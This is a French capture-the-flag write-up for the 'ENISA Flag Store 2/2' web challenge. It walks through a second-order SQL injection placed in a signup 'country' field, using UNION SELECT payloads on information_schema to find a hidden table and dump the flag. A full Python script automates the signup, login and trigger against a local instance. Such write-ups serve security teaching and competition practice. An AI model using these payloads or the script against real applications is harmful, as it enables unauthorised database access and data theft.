Solution de lrstx pour ENISA Flag Store 2/2

web golang

4 mai 2024

Table des matières

Solution

On a donc un autre flag à trouver. Intuitivement, on peut supposer qu’il est en base de données également, mais probablement plus profondément. Comme on va vite en avoir marre de créer un compte utilisateur à chaque tentative, je code un script SQLi.py (code disponible ci-dessous) qui va automatiser cette phase. Il prend en paramètre l’injection, et affiche le résultat.

Un point noté rapidement est que le champ pays va être limité en taille. Si on dépasse 192 caractères, on se prend l’erreur :

    ErrFieldTooLong     = errors.New("Text fields are limited to 192 characters.")

Ça ne devrait pas nous empêcher de récupérer ce dont on a besoin, mais il va falloir être succinct.

On suit les techniques habituelles et on commence par lister les tables déclarées dans INFORMATION_SCHEMA. Pour cela on utilise un UNION en respectant le nombre de champs en retour (4) et leurs types (3 chaînes et un entier). On supprime tous les espaces que l’on peut, et on arrive à faire suffisamment court pour avoir le luxe d’ajouter un caractère à notre pays afin de ne pas récupérer les faux flags au milieu de nos résultats… :)

$ ./SQLi.py "fr2'union select TABLE_NAME,'','',1from Information_schema.tables;--"
[...]
      <th scope="row">pg_ts_dict</th>
      <th scope="row">pg_event_trigger</th>
      <th scope="row">character_sets</th>
      <th scope="row">__s3cr4_t4bl3__</th>
      <th scope="row">pg_rewrite</th>
      <th scope="row">column_column_usage</th>
      <th scope="row">pg_stat_progress_analyze</th>
      <th scope="row">pg_opclass</th>
[...]

Discrètement, au milieu de ces résultats, on trouve une table __s3cr4_t4bl3__. Voyons son contenu :

$ ./SQLi.py "fr2'union select *,'1','1',1 from __s3cr4_t4bl3__;--"  | grep row
[...]
      <th scope="row">FCSC{b505ad2ce3f07c4793fa7269c359736dfbd71286c88de11509a96a77616b35a0}</th>
[...]

C’est gagné !

Script SQLi.py

#!/usr/bin/env python3

import requests
import sys
import random
import string

if len(sys.argv) != 2:
    print(f'Syntax: {sys.argv[0]} <sqli>')
    exit(1)

sqli = sys.argv[1]
username = ''.join(random.choices(string.ascii_letters, k=4))
password = 'a'
token = 'ohnah7bairahPh5oon7naqu1caib8euh'

# Enregistrement, avec la SQLi
print(f'[+] Register {username}')
s = requests.Session()
r = s.post(
    'http://localhost:8000/signup',
    data = {
        "username": username,
        "password": password,
        "token": token,
        "country": sqli,
    })
if r.status_code!= 200:
    print(f'Something went wrong : {r.status_code} {r.text}')
    exit(1)
if 'Text field are limited to 192 characters.' in r.text:
    print(f'Trop long. :(')
    exit(1)

# On se connecte
print(f'[+] Login {username}')
r = s.post(
    'http://localhost:8000/login',
    data = {
        'username': username,
        'password': password,
    }
)
if r.status_code!= 200:
    print(f'Something went wrong : {r.status_code} {r.text}')
    exit(1)

# On déclenche la vuln
print(f'[+] Exploit !')
r = s.get('http://localhost:8000/flags', allow_redirects=False)
print(f'{r.status_code}\n{r.headers}\n{r.text}')